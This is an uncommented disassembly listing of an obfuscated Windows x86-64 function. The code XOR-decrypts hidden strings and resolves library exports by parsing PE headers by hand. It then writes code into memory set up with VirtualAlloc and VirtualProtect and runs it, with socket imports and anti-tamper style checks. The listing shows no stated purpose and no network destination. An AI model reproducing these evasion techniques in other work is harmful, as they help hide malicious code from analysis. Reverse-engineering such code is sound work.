sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14001deee
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400dbfa0]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400dbe90]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x8b37
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x47a9c02a68
cmp r9, rax
jb 0x14001df92
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008d948
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400f85b0], r14
jne 0x14001e060
mov ecx, 0x26b0
call fcn.14009220c
test rax, rax
je 0x14001e060
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400f85b0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400dbf70]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140028158
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14001e09f
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400f85b0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14001e1bb
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e173
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.14009220c
mov rsi, rax
test rax, rax
je 0x14001e1b8
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f85b0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b0400
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
mov qword [0x1400f85b0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.140028070
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14001e1dc
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400f85b0]
test rbx, rbx
je 0x14001e2e5
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e2a0
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009220c
mov rsi, rax
test rax, rax
je 0x14001e2e2
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f85b0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b0400
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
mov qword [0x1400f85b0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x14001e378
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e378
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001e378
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001e378
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001e378
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e36b
inc rax
test edi, edi
jne 0x14001e356
test r8d, r8d
je 0x14001e3ef
inc rdx
cmp rdx, rsi
jb 0x14001e345
mov esi, r14d
mov rdi, qword [0x1400f85b0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x14001e5c3
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x14001e5b0
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001e5b0
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14001e575
xor edx, edx
call fcn.1400b0aa0
jmp 0x14001e5ae
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001e378
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x14001e413
xor r14d, r14d
jmp 0x14001e378
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.140086980
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140028c34
lea rcx, [rbp + 0x87b0]
call fcn.1400281cc
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.1400281cc
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x14001e487
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400b0400
mov dword [0x1400f0bc4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x1400f0bc0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f0bc8]
mov word [rdi + 8], ax
mov al, byte [0x1400f0bca]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400f0bc4], r14d
jmp 0x14001e37b
cmp al, 1
jne 0x14001e5b0
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14002899c
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140028b50
lea rcx, [rbp + 0x1168]
call fcn.140028ae0
lea rcx, [rbp + 0x1168]
call fcn.14000d358
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001e3a4
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
xor r15d, r15d
mov qword [0x1400f85b0], r15
test esi, esi
js 0x140026a4b
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140026a4b
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14009220c
test rax, rax
je 0x14001e626
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400f85b0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400dbf70]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140028158
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x14001e669
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400f85b0]
test rbx, rbx
je 0x14001e790
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e73c
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009220c
mov rsi, rax
test rax, rax
je 0x14001e783
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f85b0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b0400
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
mov qword [0x1400f85b0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001e786
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.140028070
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14001e7a7
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400f85b0]
test rbx, rbx
je 0x14001e8b5
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x14001e86e
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009220c
mov rsi, rax
test rax, rax
je 0x14001e8b2
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400f85b0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b0400
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
mov qword [0x1400f85b0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], 0xa
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14001e8b5
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14001e946
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e946
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001e946
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001e946
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14001e946
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e935
inc rax
test edi, edi
jne 0x14001e920
test r8d, r8d
je 0x14001e9c4
inc rdx
cmp rdx, rsi
jb 0x14001e90f
mov esi, r15d
mov rdi, qword [0x1400f85b0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x14001eb94
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x14001eb81
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14001eb81
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x14001eb47
xor edx, edx
mov rcx, rax
call fcn.1400b0aa0
jmp 0x14001eb81
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001e946
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14001e946
cmp cl, 1
jne 0x14001eb81
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.14002899c
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140028b50
lea rcx, [rbp + 0x1148]
call fcn.140028ae0
lea rcx, [rbp + 0x1148]
call fcn.14000d358
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x14001e976
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b0aa0
mov rcx, rdi
call fcn.1400920e8
mov qword [0x1400f85b0], r13
test esi, esi
js 0x1400268b2
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x1400268b2
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x14001ec44
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x14001ecbd
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x14001ec9f
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x14001ed5d
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x14001edcb
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0x5d
mov r10, r13
movabs rbx, 0x10dca5afa
movabs rsi, 0x8080808080808081
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
movabs r14, 0x10dca5af9
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140026906
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400dbcf0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x24e3d888
mov dword [rbp + 0x96c], 0xa6e5dc87
mov dword [rbp + 0x970], 0x81fd7877
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
movabs r9, 0x1d8221f358
lea r10d, [rax + 0x1c]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x958]
xor dil, r8b
mov byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x3b0443e6b0
cmp r9, rax
jb 0x1400269b1
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0x5d
mov r10, r15
movabs rbx, 0x10dca5afa
movabs rsi, 0x8080808080808081
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
movabs r14, 0x10dca5af9
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140026a9f
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400dbc60]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xeb20876a
mov word [rbp + 0x754], 0xaf
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1621997682
movabs r10, 0x2c4332ed04
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x140026b43
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.14008d948
int3
cmp rax, rbx
jne 0x140026c7f
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026c5f
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026c5f
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026c7f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0x5d
mov r10, r14
movabs rsi, 0x8080808080808081
movabs r8, 0x11ea700a9a
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x23d4e01534
lea r13d, [r11 - 0x10]
movabs r15, 0x10dca5af9
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x350]
xor dil, r10b
mov byte [rbp + r10 + 0x350], dil
add r10, r13
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140026ccd
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400dbe60]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x23649138
mov dword [rbp + 0x82c], 0x687255
mov r8, r14
movabs r9, 0x183d2e2c76
mov r10d, reloc.WS2_32.dll_socket
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
add r8, r13
add r9, r12
add r10, 0x17
movabs rax, 0x307a5c58ec
cmp r9, rax
jb 0x140026d70
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2c]
cmp rax, rbx
jne 0x140026ea7
mov rax, qword gs:[0xd]
mov r15d, 0x76bfe48f
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026e87
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026e87
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026ea7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rbx
jne 0x140027620
mov rax, qword gs:[0xd]
movabs rcx, 0xee84212ad7c507c8
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0xd]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026f3f
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026f3f
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027620
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
mov rax, qword gs:[0x2c]
cmp rax, rsi
jne 0x14002701c
mov rcx, qword gs:[0xd]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x111ab442
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0xd]
xor edx, edx
mov eax, 0x3e7fb95f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026ffc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026ffc
mov rcx, qword gs:[0xd]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002701c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008d948
int3
movdqa xmm0, xmmword [0x1400dbee0]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0x5d
mov r10, r14
